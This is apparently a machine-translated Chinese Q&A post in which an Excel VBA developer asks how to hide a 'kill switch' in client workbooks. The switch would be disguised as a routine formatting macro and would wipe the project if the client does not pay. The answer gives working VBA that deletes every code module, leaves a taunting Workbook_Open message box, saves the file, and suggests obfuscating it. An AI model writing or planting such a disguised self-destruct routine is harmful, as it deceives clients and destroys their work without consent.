Excel VBA自毁式开关

我有我的第一个“客户端工作,然后没有付钱”的经验。 未来,我想把一个伪装成一个常规macros的杀戮开关,使整个事情变得不可用。 这样一来,即使他们雇人破解密码,并删除我的“您的试用已过期…”检查,一个正常的macros(如“Fix_Sheet_Formatting”)将很容易被忽视和运行,破坏一切,节省变化。

然而,这就离开了VBA ……我们在这里说的是彻底的清理,所以一切都必须去。 我会弄清楚如何做到这一切,我只是不想浪费时间去追求一些不可能的事情:

VBA代码是否可以在运行时从工作簿中删除自己 ,还是必须从另一个工作簿上的macros中删除? 并删除代码导致macros停止运行,或者我可以删除一切,除了一个讨厌的MsgBox一切完成后?

我会留下评论来辩论这是否是一个好主意(恕我直言,它可能不是)。 至于问题本身,当然是可以的,不会中断macros执行:

 Public Sub Example() Dim proj As Object Set proj = ThisWorkbook.VBProject Dim comp As Object For Each comp In proj.VBComponents With comp.CodeModule .DeleteLines 1, .CountOfLines If comp.Name = "ThisWorkbook" Then .InsertLines 1, "Private Sub Workbook_Open()" & vbCrLf & _ vbTab & "MsgBox ""Where's my money, @#$%&!?""" & vbCrLf & _ "End Sub" End If End With Next ThisWorkbook.Save End Sub 

迷惑是对读者的一个练习。